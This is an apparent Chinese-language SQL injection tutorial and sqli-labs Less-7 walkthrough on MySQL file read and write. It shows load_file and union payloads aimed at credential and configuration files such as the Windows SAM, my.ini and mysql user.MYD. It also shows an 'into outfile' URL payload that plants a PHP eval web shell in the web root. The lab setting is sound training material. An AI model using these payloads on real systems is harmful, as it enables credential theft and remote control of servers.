導入和導出
load_file()導出文件
load_file(file_name): 讀取文件並返回該文件的內容作爲一個字符串
使用條件:
-
必須有權限並且文件必須完全可讀
and (select count(*) from mysql.user)>0/\*
如果返回正常,說明有讀寫權限
and (select count(*) from mysql.user)>0/\*
如果返回錯誤,管理員給數據庫賬戶降權了 -
要讀取的文件必須在服務器上
-
必須指定文件的完整路徑
-
要讀取的文件必須小於max_allowed_packet
如果文件不存在,或因爲上面的任一原因而不能讀出,函數返回空… 比較難滿足的就是權限,在windows下,ntfs設置得當,是不能讀取相關的文件的,只當遇到只有administrators才能訪問的文件,users是load_file不出來的.
實際注入中:
絕對物理路徑
構造有效的畸形語句(報錯爆出絕對路徑)
在很多php程序中,當提交一個錯誤的Query,如果display_errors=on 程序就會暴露web目錄的絕對路徑,只要知道路徑就好
常用路徑:
WINDOWS下:
c:/boot.ini //查看系統版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,記錄管理員登陸過的MYSQL用戶名和密碼
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存儲了mysql.user表中的數據庫連接密碼
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存儲了虛擬主機網站路徑和密碼
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虛擬主機配置
c:\windows\repair\sam //存儲了WINDOWS系統初次安裝的密碼
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理員密碼存儲於此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存儲了pcAnywhere的登陸密碼
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系統apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp開發的網站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系統配置的JSP虛擬主機
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系統中的用戶密碼
LUNIX/UNIX 下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置
/usr/local/app/php5/lib/php.ini //PHP相關設置
/etc/sysconfig/iptables //從中得到防火牆規則策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系統版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相關設置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虛擬主機配置文件
/usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虛擬主機查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虛擬主機配置文件
/usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虛擬主機查看
/etc/sysconfig/iptables 查看防火牆策略
load_file(char(47)) 可以列出FreeBSD,Sunos系統根目錄
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
示例:
select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109))))
利用hex()將文件內容導出來,尤其是smb文件時
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
其中的char()就是"c:/boot.ini"的ascii碼
-1 union select 1,1,1,loadfile(0x633a2f626f6f742e696e6
Explain:“c:/boot.ini”的 16 進制是“0x633a2f626f6f742e696e6
-1 union select 1,1,1,load_file(c:\\boot.in
Explain:路徑裏的/用 \\ 代替
文件導入到數據庫
load data infile
語句用於高速地從一個文本文件中讀取行, 並裝入一個表中. 文件名稱必須爲一個文字字符串.
在注入的過程中, 我們需要一些特殊的文件, 比如配置文件, 密碼文件. 需要數據庫權限的時候, 可以將系統文件利用load data infile
導入到數據庫中.
示例:
load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'
將/tmp/t0.txt導入到t0表中, character set gbk 是字符集設置爲gbk , fields terminated by 是每一項數據之間的分隔符, lines terminated by 是行的結尾符.
當錯誤代碼爲2的時候,文件不存在, 錯誤代碼爲13的時候是沒有權限的, 可以考慮/tmp等文件夾(load xml 是否可以用來做注入還需要驗證)
導入到文件
select ... into outfile 'file_name'
可以把被選擇的行寫入到一個文件中, 該文件被創建到服務器主機上, 因此必須擁有權限才能完成詞語發. file_name 不能是一個已經存在的文件.
一般有兩種利用形式
-
直接將select 內容導入到文件中
select version() into outfile “/var/www/html/test.php”
可以將verison()換成想要的一句話木馬
<?php @eval($_post['cmd'])?>
除了一句話木馬還有很多東西 -
修改文件結尾:
select version() into outfile "/var/wwww/html/test.php" LINES TERMINATED BY 0x16進制文件
通常是用’\r\n’結尾, 此處我們修改爲自己想要的任何文件. 同時利用FIELDSTERMINATED BY 16進制可以爲一句話或者任何其他代碼, sqlmap 採取的就是這樣的方式, 參考文章
http://www.cnblogs.com/lcamry/p/5505110.html
os-shell 限制條件: 1. 網站必須是root權限 2. 攻擊者知道網站的絕對路徑 3. GPC爲off ,PHP主動轉義功能關閉
注意點
-
可能在文件路徑當中要注意轉義, 要看具體的環境
-
load_file()當前臺無法導出數據的時候, 我們可以利用下面的語句
select load_file('c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini') into outfile 'c:\\wamp\\www\\test.php'
可以利用該語句將服務器當中的內容導入到web服務器下的目錄, 這樣就可以得到數據. 上述my.ini當中存在password項(默認被註釋), 當然會有很多內容可以被導出來
Less-7
利用文件導入的方式進行注入, 查看源碼判斷注入點.
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"; // '))閉合
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#FFFF00">';
echo 'You are in.... Use outfile......';
echo "<br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
<http://127.0.0.1/Less-7/index.php?id=1%27))%20union%20select%201,2,3%20into%20outfile%20%22/var/www/html/test.txt%22%20%23>
通過這個進行寫入, 在進行操作的時候要確認好, 該目錄下是否有寫入權限, 一般情況下/tmp是可以寫入的, 權限比較大, 爲了本地可以演示成功, 這裏直接賦予相應目錄下全部權限
root@0f6ef9cf6a68:/var/www# ls -al
total 20
drwxr-xr-x 1 root root 4096 Dec 16 2015 .
drwxr-xr-x 1 root root 4096 Dec 16 2015 ..
drwxrwxrwx 1 root root 4096 Jan 23 13:00 html // chmod 777 html
http://127.0.0.1/test.txt
//目錄訪問成功
1 Dumb Dumb
1 2 3
接下來直接導入一句話木馬
http://127.0.0.1/Less-7/index.php?id=1%27))%20union%20select%201,2,%27%3C?php%20@eval($_POST[%22cmd%22])?%3E%27%20into%20outfile%20%22/var/www/html/test.php%22%20%23
這裏的一句話要用’'裏面, ""似乎不行,不知道爲什麼
寫入成功
root@0f6ef9cf6a68:/var/www/html# more test.php
1 Dumb Dumb
1 2 <?php @eval($_POST["cmd"])?>
頁面訪問
<http://127.0.0.1/test.php>
1 Dumb Dumb 1 2
訪問成功.
接下來用shell鏈接工具鏈接就好了cknife 菜刀 甚至自己寫python腳本都可以